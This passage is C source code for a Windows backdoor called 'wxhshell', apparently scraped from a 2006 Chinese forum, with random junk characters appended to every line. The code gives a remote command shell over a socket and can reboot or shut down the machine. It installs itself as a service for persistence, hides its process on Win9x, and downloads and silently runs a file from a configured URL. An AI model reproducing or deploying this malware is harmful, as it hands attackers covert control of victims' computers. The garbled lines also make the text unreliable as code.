  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bH:C/P<x  
  } 4/v[ .5  
  else { Qz_4Ms<o  
s OLjT34  
    switch(cmd[0]) { UIU6rilB  
  06v'!M  
  // 帮助 > %slzr  
  case '?': { }o\} qu*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6Q{OM:L/;.  
    break; mS49l  
  } HiD%BL>%  
  // 安装 $BG]is,&5  
  case 'i': { f zL5C2d  
    if(Install()) z46Sh&+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); } :gi<#-:G  
    else [HQ/MkP-Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }_H\ 75Iv  
    break; %?F$3YN,  
    } ^+gD;a|t  
  // 卸载 NzN"_ojM  
  case 'r': { Zv?"1Y< L  
    if(Uninstall()) y{~tMpo<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I|;C} lfp  
    else m9 ]Ge]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rm6i[y&  
    break; oZdY0nh4  
    } IGab~`c-[  
  // 显示 wxhshell 所在路径 DJqJ6z:'  
  case 'p': { zsR5"Vi=  
    char svExeFile[MAX_PATH]; =.J cIT'  
    strcpy(svExeFile,"\n\r"); #&?}h)Jr'  
      strcat(svExeFile,ExeFile); 4r86@^c*  
        send(wsh,svExeFile,strlen(svExeFile),0); _'^_9u G  
    break; g_?Q3  
    } Vs Z7 n~e  
  // 重启 qv4r !x  
  case 'b': { <AP.m4N) _  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :)kHXOb.  
    if(Boot(REBOOT)) _::ssnG3jT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :@@m'zF<;  
    else { ikb77 ?.  
    closesocket(wsh); \((5Sd  
    ExitThread(0); B@ ms Gb C  
    } ?ef7%0  
    break; yf-2E_yB  
    } (T&(PCw|  
  // 关机 Ug4o2n0sk  
  case 'd': { 1Tev&J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'MNCJ;A@V  
    if(Boot(SHUTDOWN)) &5G@YQD1e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q]*jTb  
    else { .RyuWh!5  
    closesocket(wsh); `)MKCw$e  
    ExitThread(0); q!~DCv df  
    } [$:L| V!{  
    break; $D D esy3  
    } /s+S\ djk  
  // 获取shell -"^xg"  
  case 's': { +Hp`(^(  
    CmdShell(wsh); ;E>#qYC6  
    closesocket(wsh); LB9W.cA   
    ExitThread(0); T21?~jS  
    break; c\O2|'JzE  
  } !| - U,  
  // 退出 zJ:%iL@  
  case 'x': { 4X+I2CD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]\k& l ['  
    CloseIt(wsh); <'7s3  
    break; x"cB8bZ!$  
    } m`]d`%Ex  
  // 离开 o02G:!gB  
  case 'q': { 1'8-+?r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iM9^.  
    closesocket(wsh); oTcf[<   
    WSACleanup(); EWv[Sp  
    exit(1); |WfL'_?$  
    break; <=w!:   
        } !4 lN[  
  } 4gWlSm)  
  } u,N<U t  
]1W]  
  // 提示信息 "<%J^Z9G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U6y`:G;.  
} \w(0k^<7  
  } ; qr?[{G  
6':Egh[;  
  return; w ykaf   
} LnsYtkb r  
N.ZuSkRM  
// shell模块句柄 2"%f:?xV{  
int CmdShell(SOCKET sock) ` K0PLxSv  
{ ]&`=p{Z  
STARTUPINFO si; S1m5z,G  
ZeroMemory(&si,sizeof(si)); #EB Rc4>,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .b^!f<j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >.G#\w  
PROCESS_INFORMATION ProcessInfo; Kc#1H|'2N  
char cmdline[]="cmd"; `R-?+76?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U3UA  
  return 0; '#.D`9YI<  
} tDfHO1pS  
WN#2<XjG  
// 自身启动模式 ya,-Lt  
int StartFromService(void) h^''ue"  
{ W )Ps2  
typedef struct '* /$66|  
{ y7GgTC/H  
  DWORD ExitStatus; B ?y[ %i  
  DWORD PebBaseAddress; 'T3xZ?*q=  
  DWORD AffinityMask; %=\*OIhl  
  DWORD BasePriority; e$JATA:j  
  ULONG UniqueProcessId; w*o2lg9  
  ULONG InheritedFromUniqueProcessId; !- 5z 1b)  
}   PROCESS_BASIC_INFORMATION; XdOntP*a  
WW!-,d{{@  
PROCNTQSIP NtQueryInformationProcess; DZEq(>mn  
#uCfXJ-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;d]vAj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yF|+oTp  
hJz]N$@W  
  HANDLE             hProcess; OK47Q{.gh  
  PROCESS_BASIC_INFORMATION pbi; /q'-.-bo  
K\s<<dRa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -dfs8[i  
  if(NULL == hInst ) return 0; GMoz$c6n_  
#CB Kt,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |oe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <E^;RG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wx!2/I>  
9- 24c  
  if (!NtQueryInformationProcess) return 0; lIO#)>  
5j9%W18  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o=xMaA  
  if(!hProcess) return 0; 0<fQjXn  
t=s.w(3t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ziM@@$ .F  
kmtkh "  
  CloseHandle(hProcess); Z5EII[=$o  
b@K1;A! S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }qZ^S9  
if(hProcess==NULL) return 0; tAujm*|&  
aH8]$e8_,\  
HMODULE hMod; t}OzF cyqN  
char procName[255]; 7  `c!  
unsigned long cbNeeded; ]v]:8>N  
W ,v0~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /~c9'38  
Fzy#!^9Nu  
  CloseHandle(hProcess); F}1._I`-  
v#:?:<  
if(strstr(procName,"services")) return 1; // 以服务启动 hb)C"q=  
%[azMlp<  
  return 0; // 注册表启动 *!3qO^b?  
} pZt>rv  
Hc8!cATQk  
// 主模块 J6rWe  
int StartWxhshell(LPSTR lpCmdLine) %,aSD#l`f  
{ x{Dw?6TP  
  SOCKET wsl; 'SrDc'?  
BOOL val=TRUE; 4nh0bIN1  
  int port=0; HYY+Fv5  
  struct sockaddr_in door; "s(|pQh;  
*Gj`1# Z$  
  if(wscfg.ws_autoins) Install(); \(`C*d  
,wv>G]v  
port=atoi(lpCmdLine); a( N;| <  
7-\wr^ll3  
if(port<=0) port=wscfg.ws_port; b5f+q:?{  
zTi 8y<}  
  WSADATA data; ?wn <F}UH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W2M[w_~QE  
NJOV!\k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %*IH~/Ld;]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TD4 n%k.  
  door.sin_family = AF_INET; 4E1j0ARQQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R"\(a  
  door.sin_port = htons(port); dP]Z:  
"1%k"+&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <DII%7q,6/  
closesocket(wsl); PGVP0H+RV  
return 1; U#XW}T=|  
} :/RvtmW  
J{L d)Q,^  
  if(listen(wsl,2) == INVALID_SOCKET) { #'RfwldD9  
closesocket(wsl); ) M(//jX  
return 1; b !nA.`T  
} ~*Y/#kPY  
  Wxhshell(wsl); !<b+7 A  
  WSACleanup(); O-P`HKr  
![MtJo5  
return 0; .G"T;w 6d  
XIl#0-E0X  
} {>TAnb?n  
x`'s  
// 以NT服务方式启动 v3kT~uv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 47A[-&y*X  
{ j)juvat  
DWORD   status = 0; 57;( P  
  DWORD   specificError = 0xfffffff; ]5MT-qU  
u9]M3>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %+UTs'I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ft iAty0n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V|{~9^  
  serviceStatus.dwWin32ExitCode     = 0; gI@nE:(m  
  serviceStatus.dwServiceSpecificExitCode = 0; Zu P3/d  
  serviceStatus.dwCheckPoint       = 0; 5Z#(C#  
  serviceStatus.dwWaitHint       = 0; TY` R_  
?,[$8V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .cmhi3o4  
  if (hServiceStatusHandle==0) return; 2(Yt`3Go(  
!MmbwB'  
status = GetLastError(); A-$ C6q   
  if (status!=NO_ERROR) pF}E`U=Z  
{ kb~ 9/)~g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kY'C'9p  
    serviceStatus.dwCheckPoint       = 0; hl DU.k  
    serviceStatus.dwWaitHint       = 0; $d&7q5[  
    serviceStatus.dwWin32ExitCode     = status; V gy12dE  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7~QAprwVS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]xIgP%  
    return; ~i>'3j0@k  
  } |]-~yYqP3  
eQqCRXx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &rc r>-  
  serviceStatus.dwCheckPoint       = 0; uF)^mT0D=  
  serviceStatus.dwWaitHint       = 0; eq9qE^[Z&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :cP u  
} Dr}elR>~G=  
SLvo)`Nc3-  
// 处理NT服务事件,比如:启动、停止 x@> ~&eP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X [?E{[@Z  
{ zNEN[  
switch(fdwControl) 2%`8  
{ qi8AK(v  
case SERVICE_CONTROL_STOP: ogya~/  
  serviceStatus.dwWin32ExitCode = 0; N2u4MI2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i9peQ61{  
  serviceStatus.dwCheckPoint   = 0; +hlR  
  serviceStatus.dwWaitHint     = 0; 4(,X. GVY/  
  { >F/E,U ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n~i^+pD@  
  } ;B :\e8  
  return; .l,NmF9  
case SERVICE_CONTROL_PAUSE: YC*`n3D|'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !Uhcjfq`e  
  break; X-j<fX_  
case SERVICE_CONTROL_CONTINUE: y35e3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1d&Q E\2}  
  break; q s9r$o.\l  
case SERVICE_CONTROL_INTERROGATE: ~BBh4t&  
  break; %fh-x(4v  
}; NpA%7Q~B$,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NpGz y`&b  
} |m$]I4Jr  
PK_2  
// 标准应用程序主函数 Y)M-?|4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T%YN(f  
{ 4!?4Tc!X  
a4q02 cV  
// 获取操作系统版本 &kH7_Lz  
OsIsNt=GetOsVer(); =v{ R(IX%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -^rdB6O6j  
JNu+e#.Y  
  // 从命令行安装 $! g~pV  
  if(strpbrk(lpCmdLine,"iI")) Install(); nyG5sWMpe  
q1/mp){  
  // 下载执行文件 ;Z,l};b  
if(wscfg.ws_downexe) { MA7&fNjB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~AF' 6"A  
  WinExec(wscfg.ws_filenam,SW_HIDE); T 7M];@q  
} obgO-d9l  
x\G<R; Q  
if(!OsIsNt) { X: Be'  
// 如果时win9x,隐藏进程并且设置为注册表启动 Maiyd  
HideProc(); RF\h69]:I  
StartWxhshell(lpCmdLine); s-l3_210  
} C"h7'+Kw  
else gO]8hLT  
  if(StartFromService()) fs#9*<]m  
  // 以服务方式启动 g{m~TVm'  
  StartServiceCtrlDispatcher(DispatchTable); 7TZ,bD_  
else 1_G+sDw$  
  // 普通方式启动 mWVq>~  
  StartWxhshell(lpCmdLine); ~jC$C2A0  
&Hl w2^  
return 0; Mo4igP  
}
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只看该作者 1 发表于: 2006-10-10
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